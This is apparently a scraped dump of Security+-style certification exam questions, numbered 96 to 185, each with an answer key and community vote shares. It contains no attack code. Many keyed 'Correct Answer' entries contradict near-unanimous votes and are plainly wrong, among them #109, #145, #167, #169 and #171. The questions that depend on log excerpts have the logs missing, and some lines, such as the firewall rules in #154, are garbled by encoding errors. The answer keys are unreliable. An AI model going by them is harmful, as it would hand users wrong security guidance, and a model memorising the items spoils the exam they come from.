A. Perfect forward secrecy

B. Key stretching

C. Salting Most Voted

D. Hashing

Correct Answer: C

Community vote distribution

C (100%)

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Question #96 Topic 1

After gaining access to a dual-homed (i.e., wired and wireless) multifunction device by exploiting a vulnerability in the device's firmware, a
penetration tester then gains shell access on another networked asset. This technique is an example of:

A. privilege escalation.

B. footprinting.

C. persistence.

D. pivoting. Most Voted

Correct Answer: D

Community vote distribution

D (100%)

Question #97 Topic 1

Which of the following should be monitored by threat intelligence researchers who search for leaked credentials?

A. Common Weakness Enumeration

B. OSINT

C. Dark web Most Voted

D. Vulnerability databases

Correct Answer: C

Community vote distribution

C (100%)

Question #98 Topic 1

A security analyst needs to be able to search and correlate logs from multiple sources in a single tool. Which of the following would BEST allow a
security analyst to have this ability?

A. SOAR

B. SIEM Most Voted

C. Log collectors

D. Network-attached storage

Correct Answer: B

Community vote distribution

B (100%)

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Question #99 Topic 1

A security analyst is investigating suspicious traffic on the web server located at IP address 10.10.1.1. A search of the WAF logs reveals the
following output:

Which of the following is MOST likely occurring?

A. XSS attack

B. SQLi attack Most Voted

C. Replay attack

D. XSRF attack

Correct Answer: B

Community vote distribution

B (100%)

Question #100 Topic 1

Which of the following components can be used to consolidate and forward inbound internet traffic to multiple cloud environments though a
single firewall?

A. Transit gateway Most Voted

B. Cloud hot site

C. Edge computing

D. DNS sinkhole

Correct Answer: A

Community vote distribution

A (100%)

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Question #101 Topic 1

A DBA reports that several production server hard drives were wiped over the weekend. The DBA also reports that several Linux servers were
unavailable due to system files being deleted unexpectedly. A security analyst verified that software was configured to delete data deliberately
from those servers. No backdoors to any servers were found. Which of the following attacks was MOST likely used to cause the data loss?

A. Logic bomb Most Voted

B. Ransomware

C. Fileless virus

D. Remote access Trojans

E. Rootkit

Correct Answer: A

Community vote distribution

A (85%) Other

Question #102 Topic 1

Digital signatures use asymmetric encryption. This means the message is encrypted with:

A. the sender's private key and decrypted with the sender's public key. Most Voted

B. the sender's public key and decrypted with the sender's private key.

C. the sender's private key and decrypted with the recipient's public key.

D. the sender's public key and decrypted with the recipient's private key.

Correct Answer: A

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A (86%) 10%

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Question #103 Topic 1

A security engineer was assigned to implement a solution to prevent attackers from gaining access by pretending to be authorized users. Which
of the following technologies meets the requirement?

A. SSO

B. IDS

C. MFA Most Voted

D. TPM

Correct Answer: C

Community vote distribution

C (100%)

Question #104 Topic 1

The Chief Information Security Officer (CISO) has requested that a third-party vendor provide supporting documents that show proper controls are
in place to protect customer data. Which of the following would be BEST for the third-party vendor to provide to the CISO?

A. GDPR compliance attestation

B. Cloud Security Alliance materials

C. SOC 2 Type 2 report Most Voted

D. NIST RMF workbooks

Correct Answer: C

Community vote distribution

C (85%) A (15%)

Question #105 Topic 1

Which of the following is assured when a user signs an email using a private key?

A. Non-repudiation Most Voted

B. Confidentiality

C. Availability

D. Authentication

Correct Answer: A

Community vote distribution

A (95%) 5%

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Question #106 Topic 1

A systems administrator is troubleshooting a server's connection to an internal web server. The administrator needs to determine the correct ports
to use. Which of the following tools BEST shows which ports on the web server are in a listening state?

A. ipconfig

B. ssh

C. ping

D. netstat Most Voted

Correct Answer: D

Community vote distribution

D (95%) 5%

Question #107 Topic 1

Which of the following BEST reduces the security risks introduced when running systems that have expired vendor support and lack an immediate
replacement?

A. Implement proper network access restrictions. Most Voted

B. Initiate a bug bounty program.

C. Classify the system as shadow IT.

D. Increase the frequency of vulnerability scans.

Correct Answer: A

Community vote distribution

A (94%) 6%

Question #108 Topic 1

Due to unexpected circumstances, an IT company must vacate its main office, forcing all operations to alternate, off-site locations. Which of the
following will the company MOST likely reference for guidance during this change?

A. The business continuity plan Most Voted

B. The retention policy

C. The disaster recovery plan

D. The incident response plan

Correct Answer: A

Community vote distribution

A (87%) 13%

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Question #109 Topic 1

While reviewing an alert that shows a malicious request on one web application, a cybersecurity analyst is alerted to a subsequent token reuse
moments later on a different service using the same single sign-on method. Which of the following would BEST detect a malicious actor?

A. Utilizing SIEM correlation engines Most Voted

B. Deploying Netflow at the network border

C. Disabling session tokens for all sites

D. Deploying a WAF for the web server

Correct Answer: D

Community vote distribution

A (100%)

Question #110 Topic 1

Two organizations plan to collaborate on the evaluation of new SIEM solutions for their respective companies. A combined effort from both
organizations' SOC teams would speed up the effort. Which of the following can be written to document this agreement?

A. MOU Most Voted

B. ISA

C. SLA

D. NDA

Correct Answer: A

Community vote distribution

A (100%)

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Question #111 Topic 1

The Chief Information Security Officer wants to prevent exfiltration of sensitive information from employee cell phones when using public USB
power charging stations. Which of the following would be the BEST solution to implement?

A. DLP

B. USB data blocker Most Voted

C. USB OTG

D. Disabling USB ports

Correct Answer: B

Community vote distribution

B (68%) A (32%)

Question #112 Topic 1

The board of directors at a company contracted with an insurance firm to limit the organization's liability. Which of the following risk management
practices does this BEST describe?

A. Transference Most Voted

B. Avoidance

C. Mitigation

D. Acknowledgement

Correct Answer: A

Community vote distribution

A (100%)

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Question #113 Topic 1

Which of the following is a risk that is specifically associated with hosting applications in the public cloud?

A. Unsecured root accounts

B. Zero-day

C. Shared tenancy Most Voted

D. Insider threat

Correct Answer: C

Community vote distribution

C (88%) 13%

Question #114 Topic 1

DDoS attacks are causing an overload on the cluster of cloud servers. A security architect is researching alternatives to make the cloud
environment respond to load fluctuation in a cost-effective way. Which of the following options BEST fulfills the architect's requirements?

A. An orchestration solution that can adjust scalability of cloud assets Most Voted

B. Use of multipath by adding more connections to cloud storage

C. Cloud assets replicated on geographically distributed regions

D. An on-site backup that is displayed and only used when the load increases

Correct Answer: D

Community vote distribution

A (100%)

Question #115 Topic 1

Which of the following documents provides expectations at a technical level for quality, availability, and responsibilities?

A. EOL

B. SLA Most Voted

C. MOU

D. EOSL

Correct Answer: B

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B (100%)

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Question #116 Topic 1

Which of the following is an example of transference of risk?

A. Purchasing insurance Most Voted

B. Patching vulnerable servers

C. Retiring outdated applications

D. Application owner risk sign-off

Correct Answer: A

Community vote distribution

A (100%)

Question #117 Topic 1

An employee received a word processing file that was delivered as an email attachment. The subject line and email content enticed the employee
to open the attachment. Which of the following attack vectors BEST matches this malware?

A. Embedded Python code

B. Macro-enabled file Most Voted

C. Bash scripting

D. Credential-harvesting website

Correct Answer: B

Community vote distribution

B (100%)

Question #118 Topic 1

A security proposal was set up to track requests for remote access by creating a baseline of the users' common sign-in properties. When a
baseline deviation is detected, an MFA challenge will be triggered. Which of the following should be configured in order to deploy the proposal?

A. Context-aware authentication Most Voted

B. Simultaneous authentication of equals

C. Extensive authentication protocol

D. Agentless network access control

Correct Answer: A

Community vote distribution

A (100%)

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Question #119 Topic 1

Which of the following secure coding techniques makes compromised code more difficult for hackers to use?

A. Obfuscation Most Voted

B. Normalization

C. Execution

D. Reuse

Correct Answer: A

Community vote distribution

A (100%)

Question #120 Topic 1

As part of a security compliance assessment, an auditor performs automated vulnerability scans. In addition, which of the following should the
auditor do to complete the assessment?

A. User behavior analysis

B. Packet captures

C. Configuration reviews Most Voted

D. Log analysis Most Voted

Correct Answer: A

Community vote distribution

C (52%) D (41%) 7%

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Question #121 Topic 1

A database administrator wants to grant access to an application that will be reading and writing data to a database. The database is shared by
other applications also used by the finance department. Which of the following account types is MOST appropriate for this purpose?

A. Service Most Voted

B. Shared

C. Generic

D. Admin

Correct Answer: C

Community vote distribution

A (98%)

Question #122 Topic 1

A security analyst generated a file named host1.pcap and shared it with a team member who is going to use it for further incident analysis. Which
of the following tools will the other team member MOST likely use to open this file?

A. Autopsy

B. Memdump

C. FTK imager

D. Wireshark Most Voted

Correct Answer: D

Community vote distribution

D (100%)

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Question #123 Topic 1

An application developer accidentally uploaded a company's code-signing certificate private key to a public web server. The company is concerned
about malicious use of its certificate. Which of the following should the company do FIRST?

A. Delete the private key from the repository.

B. Verify the public key is not exposed as well.

C. Update the DLP solution to check for private keys.

D. Revoke the code-signing certificate. Most Voted

Correct Answer: D

Community vote distribution

D (100%)

Question #124 Topic 1

An organization implemented a process that compares the settings currently configured on systems against secure configuration guidelines in
order to identify any gaps. Which of the following control types has the organization implemented?

A. Compensating

B. Corrective

C. Preventive Most Voted

D. Detective Most Voted

Correct Answer: D

Community vote distribution

D (51%) C (48%)

Question #125 Topic 1

The Chief Information Security Officer directed a risk reduction in shadow IT and created a policy requiring all unsanctioned high-risk SaaS
applications to be blocked from user access. Which of the following is the BEST security solution to reduce this risk?

A. CASB Most Voted

B. VPN concentrator

C. MFA

D. VPC endpoint

Correct Answer: A

Community vote distribution

A (100%)

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Question #126 Topic 1

A technician enables full disk encryption on a laptop that will be taken on a business trip. Which of the following does this process BEST protect?

A. Data in transit

B. Data in processing

C. Data at rest Most Voted

D. Data tokenization

Correct Answer: C

Community vote distribution

C (100%)

Question #127 Topic 1

A security analyst was called to investigate a file received directly from a hardware manufacturer. The analyst is trying to determine whether the
file was modified in transit before installation on the user's computer. Which of the following can be used to safely assess the file?

A. Check the hash of the installation file. Most Voted

B. Match the file names.

C. Verify the URL download location.

D. Verify the code signing certificate.

Correct Answer: A

Community vote distribution

A (80%) D (20%)

Question #128 Topic 1

A help desk technician receives a phone call from someone claiming to be a part of the organization's cybersecurity incident response team. The
caller asks the technician to verify the network's internal firewall IP Address. Which of the following is the technician's BEST course of action?

A. Direct the caller to stop by the help desk in person and hang up declining any further requests from the caller.

B. Ask for the caller's name, verify the person's identity in the email directory, and provide the requested information over the phone.

C. Write down the phone number of the caller if possible, the name of the person requesting the information, hang up, and notify the
organization's cybersecurity officer. Most Voted

D. Request the caller send an email for identity verification and provide the requested information via email to the caller.

Correct Answer: D

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C (69%) D (31%)

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Question #129 Topic 1

Which of the following would BEST provide detective and corrective controls for thermal regulation?

A. A smoke detector

B. A fire alarm

C. An HVAC system Most Voted

D. A fire suppression system

E. Guards

Correct Answer: D

Community vote distribution

C (88%) 12%

Question #130 Topic 1

Which of the following is a benefit of including a risk management framework into an organization's security approach?

A. It defines expected service levels from participating supply chain partners to ensure system outages are remediated in a timely manner.

B. It identifies specific vendor products that have been tested and approved for use in a secure environment.

C. It provides legal assurances and remedies in the event a data breach occurs.

D. It incorporates control, development, policy, and management activities into IT operations. Most Voted

Correct Answer: D

Community vote distribution

D (87%) 13%

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Question #131 Topic 1

An organization maintains several environments in which patches are developed and tested before being deployed to an operational status. Which
of the following is the environment in which patches will be deployed just prior to being put into an operational status?

A. Development

B. Test

C. Production

D. Staging Most Voted

Correct Answer: B

Community vote distribution

D (97%)

Question #132 Topic 1

During a trial, a judge determined evidence gathered from a hard drive was not admissible. Which of the following BEST explains this reasoning?

A. The forensic investigator forgot to run a checksum on the disk image after creation. Most Voted

B. The chain of custody form did not note time zone offsets between transportation regions. Most Voted

C. The computer was turned off, and a RAM image could not be taken at the same time.

D. The hard drive was not properly kept in an antistatic bag when it was moved.

Correct Answer: B

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Question #133 Topic 1

An organization wants to implement a biometric system with the highest likelihood that an unauthorized user will be denied access. Which of the
following should the organization use to compare biometric solutions?

A. FRR

B. Difficulty of use

C. Cost

D. FAR Most Voted

E. CER Most Voted

Correct Answer: E

Community vote distribution

D (51%) E (43%) 5%

Question #134 Topic 1

A company recently experienced a significant data loss when proprietary information was leaked to a competitor. The company took special
precautions by using proper labels; however, email filter logs do not have any record of the incident. An investigation confirmed the corporate
network was not breached, but documents were downloaded from an employee's COPE tablet and passed to the competitor via cloud storage.
Which of the following is the BEST remediation for this data leak?

A. User training

B. CASB

C. MDM

D. DLP Most Voted

Correct Answer: A

Community vote distribution

D (64%) A (24%) 9%

Question #135 Topic 1

An attacker was eavesdropping on a user who was shopping online. The attacker was able to spoof the IP address associated with the shopping
site. Later, the user received an email regarding the credit card statement with unusual purchases. Which of the following attacks took place?

A. On-path attack Most Voted

B. Protocol poisoning

C. Domain hijacking

D. Bluejacking

Correct Answer: A

Community vote distribution

A (86%) 14%

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Question #136 Topic 1

A company is considering transitioning to the cloud. The company employs individuals from various locations around the world. The company
does not want to increase its on premises infrastructure blueprint and only wants to pay for additional compute power required. Which of the
following solutions would BEST meet the needs of the company?

A. Private cloud

B. Hybrid environment Most Voted

C. Managed security service provider

D. Hot backup site

Correct Answer: B

Community vote distribution

B (71%) A (29%)

Question #137 Topic 1

After multiple on premises security solutions were migrated to the cloud, the incident response time increased. The analysts are spending a long
time trying to trace information on different cloud consoles and correlating data in different formats. Which of the following can be used to
optimize the incident response time?

A. CASB Most Voted

B. VPC

C. SWG

D. CMS

Correct Answer: C

Community vote distribution

A (83%) D (17%)

Question #138 Topic 1

Which of the following control types would be BEST to use in an accounting department to reduce losses from fraudulent transactions?

A. Recovery

B. Deterrent

C. Corrective Most Voted

D. Detective Most Voted

Correct Answer: D

Community vote distribution

D (52%) B (25%) C (23%)

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Question #139 Topic 1

A company is receiving emails with links to phishing sites that look very similar to the company's own website address and content. Which of the
following is the
BEST way for the company to mitigate this attack?

A. Create a honeynet to trap attackers who access the VPN with credentials obtained by phishing.

B. Generate a list of domains similar to the company's own and implement a DNS sinkhole for each. Most Voted

C. Disable POP and IMAP on all Internet-facing email servers and implement SMTPS.

D. Use an automated tool to flood the phishing websites with fake usernames and passwords.

Correct Answer: B

Community vote distribution

B (100%)

Question #140 Topic 1

A SOC operator is receiving continuous alerts from multiple Linux systems indicating that unsuccessful SSH attempts to a functional user ID have
been attempted on each one of them in a short period of time. Which of the following BEST explains this behavior?

A. Rainbow table attack

B. Password spraying Most Voted

C. Logic bomb

D. Malware bot

Correct Answer: A

Community vote distribution

B (88%) 12%

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Question #141 Topic 1

A tax organization is working on a solution to validate the online submission of documents. The solution should be carried on a portable USB
device that should be inserted on any computer that is transmitting a transaction securely. Which of the following is the BEST certificate for these
requirements?

A. User certificate Most Voted

B. Self-signed certificate

C. Computer certificate

D. Root certificate

Correct Answer: B

Community vote distribution

A (64%) C (28%) 8%

Question #142 Topic 1

A routine audit of medical billing claims revealed that several claims were submitted without the subscriber's knowledge. A review of the audit
logs for the medical billing company's system indicated a company employee downloaded customer records and adjusted the direct deposit
information to a personal bank account.
Which of the following does this action describe?

A. Insider threat Most Voted

B. Social engineering

C. Third-party risk

D. Data breach

Correct Answer: A

Community vote distribution

A (100%)

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Question #143 Topic 1

A recent audit cited a risk involving numerous low-criticality vulnerabilities created by a web application using a third-party library. The
development staff state there are still customers using the application even though it is end of life and it would be a substantial burden to update
the application for compatibility with more secure libraries. Which of the following would be the MOST prudent course of action?

A. Accept the risk if there is a clear road map for timely decommission. Most Voted

B. Deny the risk due to the end-of-life status of the application.

C. Use containerization to segment the application from other applications to eliminate the risk. Most Voted

D. Outsource the application to a third-party developer group.

Correct Answer: C

Community vote distribution

A (53%) C (47%)

Question #144 Topic 1

A security analyst is evaluating solutions to deploy an additional layer of protection for a web application. The goal is to allow only encrypted
communications without relying on network devices. Which of the following can be implemented?

A. HTTP security header Most Voted

B. DNSSEC implementation

C. SRTP

D. S/MIME

Correct Answer: A

Community vote distribution

A (90%) 10%

Question #145 Topic 1

A company labeled some documents with the public sensitivity classification. This means the documents can be accessed by:

A. employees of other companies and the press. Most Voted

B. all members of the department that created the documents.

C. only the company's employees and those listed in the document.

D. only the individuals listed in the documents.

Correct Answer: C

Community vote distribution

A (98%)

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Question #146 Topic 1

Which of the following is the MOST relevant security check to be performed before embedding third-party libraries in developed code?

A. Check to see if the third party has resources to create dedicated development and staging environments.

B. Verify the number of companies that downloaded the third-party code and the number of contributions on the code repository.

C. Assess existing vulnerabilities affecting the third-party code and the remediation efficiency of the libraries' developers. Most Voted

D. Read multiple penetration-testing reports for environments running software that reused the library.

Correct Answer: C

Community vote distribution

C (100%)

Question #147 Topic 1

A help desk technician receives an email from the Chief Information Officer (CIO) asking for documents. The technician knows the CIO is on
vacation for a few weeks. Which of the following should the technician do to validate the authenticity of the email?

A. Check the metadata in the email header of the received path in reverse order to follow the email's path. Most Voted

B. Hover the mouse over the CIO's email address to verify the email address.

C. Look at the metadata in the email header and verify the ‫ג‬€From:‫ג‬€ line matches the CIO's email address.

D. Forward the email to the CIO and ask if the CIO sent the email requesting the documents.

Correct Answer: A

Community vote distribution

A (46%) D (34%) 14% 6%

Question #148 Topic 1

A company needs to validate its updated incident response plan using a real-world scenario that will test decision points and relevant incident
response actions without interrupting daily operations. Which of the following would BEST meet the company's requirements?

A. Red-team exercise

B. Capture-the-flag exercise

C. Tabletop exercise Most Voted

D. Phishing exercise

Correct Answer: C

Community vote distribution

C (65%) D (24%) 12%

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Question #149 Topic 1

Security analysts are conducting an investigation of an attack that occurred inside the organization's network. An attacker was able to collect
network traffic between workstations throughout the network. The analysts review the following logs:

The Layer 2 address table has hundreds of entries similar to the ones above. Which of the following attacks has MOST likely occurred?

A. SQL injection

B. DNS spoofing

C. MAC flooding Most Voted

D. ARP poisoning

Correct Answer: C

Community vote distribution

C (100%)

Question #150 Topic 1

A security policy states that common words should not be used as passwords. A security auditor was able to perform a dictionary attack against
corporate credentials. Which of the following controls was being violated?

A. Password complexity Most Voted

B. Password history

C. Password reuse

D. Password length

Correct Answer: A

Community vote distribution

A (90%) 5%

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Question #151 Topic 1

A SOC operator is analyzing a log file that contains the following entries:

Which of the following explains these log entries?

A. SQL injection and improper input-handling attempts

B. Cross-site scripting and resource exhaustion attempts

C. Command injection and directory traversal attempts Most Voted

D. Error handling and privilege escalation attempts

Correct Answer: C

Community vote distribution

C (100%)

Question #152 Topic 1

A security incident has been resolved. Which of the following BEST describes the importance of the final phase of the incident response plan?

A. It examines and documents how well the team responded, discovers what caused the incident, and determines how the incident can be
avoided in the future. Most Voted

B. It returns the affected systems back into production once systems have been fully patched, data restored, and vulnerabilities addressed.

C. It identifies the incident and the scope of the breach, how it affects the production environment, and the ingress point.

D. It contains the affected systems and disconnects them from the network, preventing further spread of the attack or breach.

Correct Answer: A

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A (100%)

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Question #153 Topic 1

HOTSPOT -
Select the appropriate attack and remediation from each drop-down list to label the corresponding attack with its remediation.

INSTRUCTIONS -
Not all attacks and remediation actions will be used.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
Hot Area:

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Question #154 Topic 1

SIMULATION -
A company recently added a DR site and is redesigning the network. Users at the DR site are having issues browsing websites.

INSTRUCTIONS -
Click on each firewall to do the following:
1. Deny cleartext web traffic.
2. Ensure secure management protocols are used.
3. Resolve issues at the DR site.
The ruleset order cannot be modified due to outside constraints.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

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Correct Answer: See explanation below.

Firewall 1:
DNS Rule 10.0.0.1/24 "€‫ ג‬--> ANY --> DNS --> PERMIT
HTTPS Outbound 10.0.0.1/24 "€‫ ג‬--> ANY --> HTTPS --> PERMIT
Management ‫ג‬€" ANY --> 10.0.0.1/24 --> SSH --> PERMIT
HTTPS Inbound ‫ג‬€" ANY --> 10.0.0.1/24 --> HTTPS --> PERMIT
HTTP Inbound ‫ג‬€" ANY --> 10.0.0.1/24 --> HTTP --> DENY
Firewall 2:
DNS Rule 10.0.1.1/24 "€‫ ג‬--> ANY --> DNS --> PERMIT
HTTPS Outbound 10.0.1.1/24 "€‫ ג‬--> ANY --> HTTPS --> PERMIT
Management ‫ג‬€" ANY --> 10.0.1.1/24 --> SSH --> PERMIT
HTTPS Inbound ‫ג‬€" ANY --> 10.0.1.1/24 --> HTTPS --> PERMIT
HTTP Inbound ‫ג‬€" ANY --> 10.0.1.1/24 --> HTTP --> DENY
Firewall 3:
DNS Rule 192.168.0.1/24 >-- 10.0.0.1/24 "€‫ ג‬--> DNS --> PERMIT
HTTPS Outbound 192.168.0.1/24 "€‫ ג‬--> ANY --> HTTPS --> PERMIT
Management ‫ג‬€" ANY --> 192.168.0.1/24 --> SSH --> PERMIT
HTTPS Inbound ‫ג‬€" ANY --> 192.168.0.1/24 --> HTTPS --> PERMIT
HTTP Inbound ‫ג‬€" ANY --> 192.168.0.1/24 --> HTTP --> DENY

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Question #155 Topic 1

SIMULATION -
An attack has occurred against a company.

INSTRUCTIONS -
You have been tasked to do the following:
✑ Identify the type of attack that is occurring on the network by clicking on the attacker's tablet and reviewing the output.
✑ Identify which compensating controls a developer should implement on the assets, in order to reduce the effectiveness of future attacks by
dragging them to the correct server.
All objects will be used, but not all placeholders may be filled. Objects may only be used once.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

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Question #156 Topic 1

SIMULATION -
A systems administrator needs to install a new wireless network for authenticated guest access. The wireless network should support 802.1X
using the most secure encryption and protocol available.

INSTRUCTIONS -
Perform the following steps:
4. Configure the RADIUS server.
5. Configure the WiFi controller.
6. Preconfigure the client for an incoming guest. The guest AD credentials are:

User: guest01 -

Password: guestpass -
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Correct Answer: See explanation below.

Configure the settings as shown below:

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Question #157 Topic 1

HOTSPOT -
An incident has occurred in the production environment.

INSTRUCTIONS -
Analyze the command outputs and identify the type of compromise.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
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Question #158 Topic 1

After a recent security incident, a security analyst discovered that unnecessary ports were open on a firewall policy for a web server. Which of the
following firewall polices would be MOST secure for a web server?
A.

B.

C.

D.

Correct Answer: D

Question #159 Topic 1

A large bank with two geographically dispersed data centers is concerned about major power disruptions at both locations. Every day each
location experiences very brief outages that last for a few seconds. However, during the summer a high risk of intentional brownouts that last up
to an hour exists, particularly at one of the locations near an industrial smelter. Which of the following is the BEST solution to reduce the risk of
data loss?

A. Dual supply

B. Generator

C. UPS Most Voted

D. POU

E. Daily backups

Correct Answer: B

Community vote distribution

C (71%) B (25%) 4%

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Question #160 Topic 1

Which of the following would be the BEST way to analyze diskless malware that has infected a VDI?

A. Shut down the VDI and copy off the event logs.

B. Take a memory snapshot of the running system. Most Voted

C. Use NetFlow to identify command-and-control IPs.

D. Run a full on-demand scan of the root volume.

Correct Answer: C

Community vote distribution

B (100%)

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Question #161 Topic 1

Users are presented with a banner upon each login to a workstation. The banner mentions that users are not entitled to any reasonable
expectation of privacy and access is for authorized personnel only. In order to proceed past that banner, users must click the OK button. Which of
the following is this an example of?

A. AUP Most Voted

B. NDA

C. SLA

D. MOU

Correct Answer: B

Community vote distribution

A (79%) B (21%)

Question #162 Topic 1

The Chief Information Security Officer is concerned about employees using personal email rather than company email to communicate with
clients and sending sensitive business information and PII. Which of the following would be the BEST solution to install on the employees'
workstations to prevent information from leaving the company's network?

A. HIPS

B. DLP Most Voted

C. HIDS

D. EDR

Correct Answer: D

Community vote distribution

B (77%) D (23%)

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Question #163 Topic 1

On the way into a secure building, an unknown individual strikes up a conversation with an employee. The employee scans the required badge at
the door while the unknown individual holds the door open, seemingly out of courtesy, for the employee. Which of the following social engineering
techniques is being utilized?

A. Shoulder surfing

B. Watering-hole attack

C. Tailgating Most Voted

D. Impersonation

Correct Answer: A

Community vote distribution

C (88%) 12%

Question #164 Topic 1

Two hospitals merged into a single organization. The privacy officer requested a review of all records to ensure encryption was used during record
storage, in compliance with regulations. During the review, the officer discovered that medical diagnosis codes and patient names were left
unsecured. Which of the following types of data does this combination BEST represent?

A. Personal health information Most Voted

B. Personally identifiable information

C. Tokenized data

D. Proprietary data

Correct Answer: B

Community vote distribution

A (90%) 10%

Question #165 Topic 1

A company discovered that terabytes of data have been exfiltrated over the past year after an employee clicked on an email link. The threat
continued to evolve and remain undetected until a security analyst noticed an abnormal amount of external connections when the employee was
not working. Which of the following is the MOST likely threat actor?

A. Shadow IT

B. Script kiddies

C. APT Most Voted

D. Insider threat

Correct Answer: D

Community vote distribution

C (75%) D (25%)

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Question #166 Topic 1

An untrusted SSL certificate was discovered during the most recent vulnerability scan. A security analyst determines the certificate is signed
properly and is a valid wildcard. This same certificate is installed on the other company servers without issue. Which of the following is the MOST
likely reason for this finding?

A. The required intermediate certificate is not loaded as part of the certificate chain. Most Voted

B. The certificate is on the CRL and is no longer valid.

C. The corporate CA has expired on every server, causing the certificate to fail verification.

D. The scanner is incorrectly configured to not trust this certificate when detected on the server.

Correct Answer: B

Community vote distribution

A (100%)

Question #167 Topic 1

A company wants to improve end users' experiences when they log in to a trusted partner website. The company does not want the users to be
issued separate credentials for the partner website. Which of the following should be implemented to allow users to authenticate using their own
credentials to log in to the trusted partner's website?

A. Directory service

B. AAA server

C. Federation Most Voted

D. Multifactor authentication

Correct Answer: B

Community vote distribution

C (100%)

Question #168 Topic 1

A company is under investigation for possible fraud. As part of the investigation, the authorities need to review all emails and ensure data is not
deleted. Which of the following should the company implement to assist in the investigation?

A. Legal hold Most Voted

B. Chain of custody

C. Data loss prevention

D. Content filter

Correct Answer: B

Community vote distribution

A (87%) 9%

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Question #169 Topic 1

A user wanted to catch up on some work over the weekend but had issues logging in to the corporate network using a VPN. On Monday, the user
opened a ticket for this issue but was able to log in successfully. Which of the following BEST describes the policy that is being implemented?

A. Time-based logins Most Voted

B. Geofencing

C. Network location

D. Password history

Correct Answer: B

Community vote distribution

A (100%)

Question #170 Topic 1

A major political party experienced a server breach. The hacker then publicly posted stolen internal communications concerning campaign
strategies to give the opposition party an advantage. Which of the following BEST describes these threat actors?

A. Semi-authorized hackers

B. State actors Most Voted

C. Script kiddies

D. Advanced persistent threats

Correct Answer: B

Community vote distribution

B (88%) 13%

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Question #171 Topic 1

A company is required to continue using legacy software to support a critical service. Which of the following BEST explains a risk of this practice?

A. Default system configuration

B. Unsecure protocols

C. Lack of vendor support Most Voted

D. Weak encryption

Correct Answer: B

Community vote distribution

C (89%) 11%

Question #172 Topic 1

A security analyst has been tasked with ensuring all programs that are deployed into the enterprise have been assessed in a runtime environment.
Any critical issues found in the program must be sent back to the developer for verification and remediation. Which of the following BEST
describes the type of assessment taking place?

A. Input validation

B. Dynamic code analysis Most Voted

C. Fuzzing

D. Manual code review

Correct Answer: B

Community vote distribution

B (100%)

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Question #173 Topic 1

Which of the following can work as an authentication method and as an alerting mechanism for unauthorized access attempts?

A. Smart card

B. Push notifications Most Voted

C. Attestation service

D. HMAC-based

E. one-time password

Correct Answer: B

Community vote distribution

B (95%) 5%

Question #174 Topic 1

A company has a flat network in the cloud. The company needs to implement a solution to segment its production and non-production servers
without migrating servers to a new network. Which of the following solutions should the company implement?

A. Intranet

B. Screened subnet

C. VLAN segmentation Most Voted

D. Zero Trust

Correct Answer: C

Community vote distribution

C (100%)

Question #175 Topic 1

The president of a regional bank likes to frequently provide SOC tours to potential investors. Which of the following policies BEST reduces the risk
of malicious activity occurring after a tour?

A. Password complexity

B. Acceptable use

C. Access control Most Voted

D. Clean desk Most Voted

Correct Answer: D

Community vote distribution

D (68%) C (32%)

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Question #176 Topic 1

A Chief Information Security Officer has defined resiliency requirements for a new data center architecture. The requirements are as follows:
* Critical fileshares will remain accessible during and after a natural disaster.
* Five percent of hard disks can fail at any given time without impacting the data.
* Systems will be forced to shut down gracefully when battery levels are below 20%.
Which of the following are required to BEST meet these objectives? (Choose three.)

A. Fiber switching

B. IaC

C. NAS

D. RAID Most Voted

E. UPS Most Voted

F. Redundant power supplies

G. Geographic dispersal Most Voted

H. Snapshots

I. Load balancing

Correct Answer: BCD

Community vote distribution

DEG (75%) 14% 7%

Question #177 Topic 1

Which of the following is a security best practice that ensures the integrity of aggregated log files within a SIEM?

A. Set up hashing on the source log file servers that complies with local regulatory requirements. Most Voted

B. Back up the aggregated log files at least two times a day or as stated by local regulatory requirements.

C. Write protect the aggregated log files and move them to an isolated server with limited access.

D. Back up the source log files and archive them for at least six years or in accordance with local regulatory requirements.

Correct Answer: A

Community vote distribution

A (84%) C (16%)

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Question #178 Topic 1

A security analyst is evaluating the risks of authorizing multiple security solutions to collect data from the company's cloud environment. Which of
the following is an immediate consequence of these integrations?

A. Non-compliance with data sovereignty rules

B. Loss of the vendors interoperability support

C. Mandatory deployment of a SIEM solution

D. Increase in the attack surface Most Voted

Correct Answer: A

Community vote distribution

D (80%) 11% 9%

Question #179 Topic 1

Which of the following explains why RTO is included in a BIA?

A. It identifies the amount of allowable downtime for an application or system. Most Voted

B. It prioritizes risks so the organization can allocate resources appropriately.

C. It monetizes the loss of an asset and determines a break-even point for risk mitigation.

D. It informs the backup approach so that the organization can recover data to a known time.

Correct Answer: A

Community vote distribution

A (94%) 6%

Question #180 Topic 1

A security analyst is reviewing web-application logs and finds the following log:

Which of the following attacks is being observed?

A. Directory traversal Most Voted

B. XSS

C. CSRF

D. On-path attack

Correct Answer: C

Community vote distribution

A (95%) 5%

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Question #181 Topic 1

A security analyst is reviewing the vulnerability scan report for a web server following an incident. The vulnerability that was used to exploit the
server is present in historical vulnerability scan reports, and a patch is available for the vulnerability. Which of the following is the MOST likely
cause?

A. Security patches were uninstalled due to user impact. Most Voted

B. An adversary altered the vulnerability scan reports

C. A zero-day vulnerability was used to exploit the web server

D. The scan reported a false negative for the vulnerability

Correct Answer: A

Community vote distribution

A (74%) C (18%) 8%

Question #182 Topic 1

Which of the following is a known security risk associated with data archives that contain financial information?

A. Data can become a liability if archived longer than required by regulatory guidance. Most Voted

B. Data must be archived off-site to avoid breaches and meet business requirements.

C. Companies are prohibited from providing archived data to e-discovery requests.

D. Unencrypted archives should be preserved as long as possible and encrypted.

Correct Answer: A

Community vote distribution

A (100%)

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Question #183 Topic 1

Which of the following BEST describes the process of documenting who has access to evidence?

A. Order of volatility

B. Chain of custody Most Voted

C. Non-repudiation

D. Admissibility

Correct Answer: B

Community vote distribution

B (100%)

Question #184 Topic 1

A systems engineer wants to leverage a cloud-based architecture with low latency between network-connected devices that also reduces the
bandwidth that is required by performing analytics directly on the endpoints. Which of the following would BEST meet the requirements? (Choose
two.)

A. Private cloud Most Voted

B. SaaS

C. Hybrid cloud Most Voted

D. IaaS

E. DRaaS

F. Fog computing Most Voted Most Voted

Correct Answer: CF

Community vote distribution

CF (66%) AF (28%) 7%

Question #185 Topic 1

Which of the following is a policy that provides a greater depth and breadth of knowledge across an organization?

A. Asset management policy

B. Separation of duties policy

C. Acceptable use policy

D. Job rotation policy Most Voted

Correct Answer: D

